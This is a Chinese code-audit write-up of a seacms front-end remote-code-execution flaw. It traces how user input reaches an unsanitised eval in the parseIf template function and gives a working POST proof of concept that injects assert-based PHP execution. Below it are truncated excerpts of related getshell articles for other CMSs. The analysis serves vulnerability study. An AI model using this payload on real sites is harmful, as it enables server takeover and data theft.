【代码审计】seacms 前台Getshell分析

漏洞触发点search.php 211-213行,文中38-40行

 1     if(intval($searchtype)==5)
 2     {
 3         $tname = !empty($tid)?getTypeNameOnCache($tid):‘全部‘;
 4         $jq = !empty($jq)?$jq:‘全部‘;
 5         $area = !empty($area)?$area:‘全部‘;
 6         $year = !empty($year)?$year:‘全部‘;
 7         $yuyan = !empty($yuyan)?$yuyan:‘全部‘;
 8         $letter = !empty($letter)?$letter:‘全部‘;
 9         $state = !empty($state)?$state:‘全部‘;
10         $ver = !empty($ver)?$ver:‘全部‘;
11         $money = !empty($money)?$money:‘全部‘;
12         $content = str_replace("{searchpage:type}",$tid,$content);
13         $content = str_replace("{searchpage:typename}",$tname ,$content);
14         $content = str_replace("{searchpage:year}",$year,$content);
15         $content = str_replace("{searchpage:area}",$area,$content);
16         $content = str_replace("{searchpage:letter}",$letter,$content);
17         $content = str_replace("{searchpage:lang}",$yuyan,$content);
18         $content = str_replace("{searchpage:jq}",$jq,$content);
19         if($state==‘w‘){$state2="完结";}elseif($state==‘l‘){$state2="连载中";}else{$state2="全部";}
20         if($money==‘m‘){$money2="免费";}elseif($money==‘s‘){$money2="收费";}else{$money2="全部";}
21         $content = str_replace("{searchpage:state}",$state2,$content);
22         $content = str_replace("{searchpage:money}",$money2,$content);
23         $content = str_replace("{searchpage:ver}",$ver,$content);
24         $content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"cascade");
25         $content=$mainClassObj->parseSearchItemList($content,"type");
26         $content=$mainClassObj->parseSearchItemList($content,"year");
27         $content=$mainClassObj->parseSearchItemList($content,"area");
28         $content=$mainClassObj->parseSearchItemList($content,"letter");
29         $content=$mainClassObj->parseSearchItemList($content,"lang");
30         $content=$mainClassObj->parseSearchItemList($content,"jq");
31         $content=$mainClassObj->parseSearchItemList($content,"state");
32         $content=$mainClassObj->parseSearchItemList($content,"ver");
33         $content=$mainClassObj->parseSearchItemList($content,"money");
34     }else
35     {
36         $content=$mainClassObj->parsePageList($content,"",$page,$pCount,$TotalResult,"search");
37     }
38     $content=replaceCurrentTypeId($content,-444);
39     $content=$mainClassObj->parseIf($content);
40     $content=str_replace("{seacms:member}",front_member(),$content);
41     $searchPageStr = $content;
42     echo str_replace("{seacms:runinfo}",getRunTime($t1),$searchPageStr) ;
43 }

跟进parseIf 函数 ./include/main.class.php

这里要注意 21行的位置,可以看到未做任何处理的eval

 1 function parseIf($content){
 2         if (strpos($content,‘{if:‘)=== false){
 3         return $content;
 4         }else{
 5         $labelRule = buildregx("{if:(.*?)}(.*?){end if}","is");
 6         $labelRule2="{elseif";
 7         $labelRule3="{else}";
 8         preg_match_all($labelRule,$content,$iar);
 9         $arlen=count($iar[0]);
10         $elseIfFlag=false;
11         for($m=0;$m<$arlen;$m++){
12             $strIf=$iar[1][$m];
13             $strIf=$this->parseStrIf($strIf);
14             $strThen=$iar[2][$m];
15             $strThen=$this->parseSubIf($strThen);
16             if (strpos($strThen,$labelRule2)===false){
17                 if (strpos($strThen,$labelRule3)>=0){
18                     $elsearray=explode($labelRule3,$strThen);
19                     $strThen1=$elsearray[0];
20                     $strElse1=$elsearray[1];
21                     @eval("if(".$strIf."){\$ifFlag=true;}else{\$ifFlag=false;}");
22                     if ($ifFlag){ $content=str_replace($iar[0][$m],$strThen1,$content);} else {$content=str_replace($iar[0][$m],$strElse1,$content);}
23                 }else{
24                 @eval("if(".$strIf.") { \$ifFlag=true;} else{ \$ifFlag=false;}");
25                 if ($ifFlag) $content=str_replace($iar[0][$m],$strThen,$content); else $content=str_replace($iar[0][$m],"",$content);}
26             }else{
27                 $elseIfArray=explode($labelRule2,$strThen);
28                 $elseIfArrayLen=count($elseIfArray);
29                 $elseIfSubArray=explode($labelRule3,$elseIfArray[$elseIfArrayLen-1]);
30                 $resultStr=$elseIfSubArray[1];
31                 $elseIfArraystr0=addslashes($elseIfArray[0]);
32                 @eval("if($strIf){\$resultStr=\"$elseIfArraystr0\";}");
33                 for($elseIfLen=1;$elseIfLen<$elseIfArrayLen;$elseIfLen++){
34                     $strElseIf=getSubStrByFromAndEnd($elseIfArray[$elseIfLen],":","}","");
35                     $strElseIf=$this->parseStrIf($strElseIf);
36                     $strElseIfThen=addslashes(getSubStrByFromAndEnd($elseIfArray[$elseIfLen],"}","","start"));
37                     @eval("if(".$strElseIf."){\$resultStr=\"$strElseIfThen\";}");
38                     @eval("if(".$strElseIf."){\$elseIfFlag=true;}else{\$elseIfFlag=false;}");
39                     if ($elseIfFlag) {break;}
40                 }
41                 $strElseIf0=getSubStrByFromAndEnd($elseIfSubArray[0],":","}","");
42                 $strElseIfThen0=addslashes(getSubStrByFromAndEnd($elseIfSubArray[0],"}","","start"));
43                 if(strpos($strElseIf0,‘==‘)===false&&strpos($strElseIf0,‘=‘)>0)$strElseIf0=str_replace(‘=‘, ‘==‘, $strElseIf0);
44                 @eval("if(".$strElseIf0."){\$resultStr=\"$strElseIfThen0\";\$elseIfFlag=true;}");
45                 $content=str_replace($iar[0][$m],$resultStr,$content);
46             }
47         }
48         return $content;
49         }
50     }
51     

这里我们要注意触发的条件

1.if(intval($searchtype)==5)

2.if (strpos($content,‘{if:‘)=== false)

3.{if:(.*?)}(.*?){end if}

4.if (strpos($strThen,$labelRule2)===false)

5.if (strpos($strThen,$labelRule3)>=0){

POC

http://127.0.0.1/search.php?searchtype=5
POST:
searchword=d&order=}{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=phpinfo();{end if}{if:1)print_r($_POST[func]($_POST[cmd]));//}{end if}&func=assert&cmd=phpinfo();

时间: 2024-10-09 22:28:46

【代码审计】seacms 前台Getshell分析的相关文章

PHPCMS9.6.0最新版SQL注入和前台GETSHELL漏洞分析 (实验新课)

PHPCMS9.6.0最新版中,由于/modules/attachment/attachments.php的过滤函数的缺陷导致了可以绕过它的过滤机制形成SQL注入漏洞,可导致数据库中数据泄漏. 而且在前台上传文件处,没有对文件后缀进行严格的审查,导致可以前台GETSHELL,直接获取到了网站的权限.点击马上实验,i春秋安全专家带你体验漏洞成因及危害. https://www.ichunqiu.com/course/58003  课程详解 DEF CON 24·400米之外破解你的智能蓝牙锁(公开

代码审计之seacms v6.45 前台Getshell 复现分析

1.环境: php5.5.38+apache+seacms v6.45 seacms目录结构: │─admin //后台管理目录 │ │─coplugins //已停用目录 │ │─ebak //帝国备份王数据备份 │ │─editor //编辑器 │ │─img //后台静态文件 │ │─js //后台js文件 │ │─templets //后台模板文件 │─article //文章内容页 │─articlelist //文章列表页 │─comment //评论 │ │─api //评论接口文

开源轻论坛StartBBS前台getshell

心血来潮读读代码.StartBBS界面挺清爽的,体积也小.下载下来安装. 安装好后发现根目录下多了一个install.lock,一般的cms为了防止被重安装就会在目录下生成一个类似的文件,下次有人再访问安装脚本的时候,脚本会检测,如果目录下有这个文件就提示"请删除后再安装". 原本应该是没有任何问题的.但我们来到安装脚本,/app/controllers/install.php中,查看它是怎么处理的: class Install extends Install_Controller {

Typecho 反序列化漏洞导致前台 getshell

前言 最早知道这个漏洞是在一个微信群里,说是install.php文件里面有个后门,看到别人给的截图一看就知道是个PHP反序列化漏洞,赶紧上服务器看了看自己的博客,发现自己也中招了,相关代码如下: 然后果断在文件第一行加上了die: <?php die('404 Not Found!'); ?> 今天下午刚好空闲下来,就赶紧拿出来代码看看. 漏洞分析 先从install.php开始跟,229-235行: <?php$config = unserialize(base64_decode(T

帝国CMS(EmpireCMS) v7.5后台getshell分析(CVE-2018-18086)

一.漏洞描述 EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行.EmpireCMS7.5版本中的/e/class/moddofun.php文件的”LoadInMod”函数存在安全漏洞,攻击者可利用该漏洞上传任意文件. 二.影响版本 EmpireCMS<=7.5 三.环境搭建 1.官方下载EmpireCMS V7.5 下载地址:http://www.phome.net/download/ 2.把下载的文件中的upload下的所

phpcms v9前台getshell

PHPCMS是一款网站管理软件.该软件采用模块化开发,支持多种分类方式,使用它可方便实现个性化网站的设计.开发与维护.它支持众多的程序组合,可轻松实现网站平台迁移,并可广泛满足各种规模的网站需求,可靠性高,是一款具备文章.下载.图片.分类信息.影视.商城.采集.财务等众多功能的强大.易用.可扩展的优秀网站管理软件. 看到到处都是这个漏洞的利用.加班完这个点看看触发点.主要的问题是phpcms\modules\member\index.php 130行到140行 //附表信息验证 通过模型获取会员

Discuz利用UC_KEY进行前台getshell

来源:http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0137991.html 先通过uc_key把恶意代码保存在/uc_client/data/cache/badwords.php,然后利用preg_replace() 进行任意代码执行. 先附上来源中的脚本.修改了一些代码. <?php $timestamp = time()+10*3600; $host="ip地址"; $agent= md5("Mozilla/5.

“百度杯”CTF比赛 九月场_Test(海洋cms前台getshell)

题目在i春秋ctf训练营 又是一道cms的通用漏洞的题,直接去百度查看通用漏洞 这里我使用的是以下这个漏洞: 海洋CMS V6.28代码执行0day 按照给出的payload,直接访问url+/search.php?searchtype=5&tid=&area=eval($_POST[1]) 之后用菜刀连接,但乍一看并没有flag.php 反手去查了一下海洋cms的数据库配置文件的存放地址: 出去用菜刀连接数据库 编辑完成后右键数据库管理,可以看到flag了 原文地址:https://ww

代码审计就该这么来3 beescms getshell

本文作者:i春秋作家--索马里的海贼 前言上一回(http://bbs.ichunqiu.com/thread-13714-1-1.html)说到快速漏洞挖掘中的几个重点关注对象,命令执行,文件操作,sql注入.并且拿sql做为例子简单做了一次代码审计,今天换一个思路,从文件操作部分入手,毕竟 文件操作一个搞不好就是getshell,比起注入按部就班慢慢来可要爽快多了. 一.关注重点 对于文件操作部分来说,首先对php内置的文件操作函数的作用和特性要有一个大概的了解 file_get_conte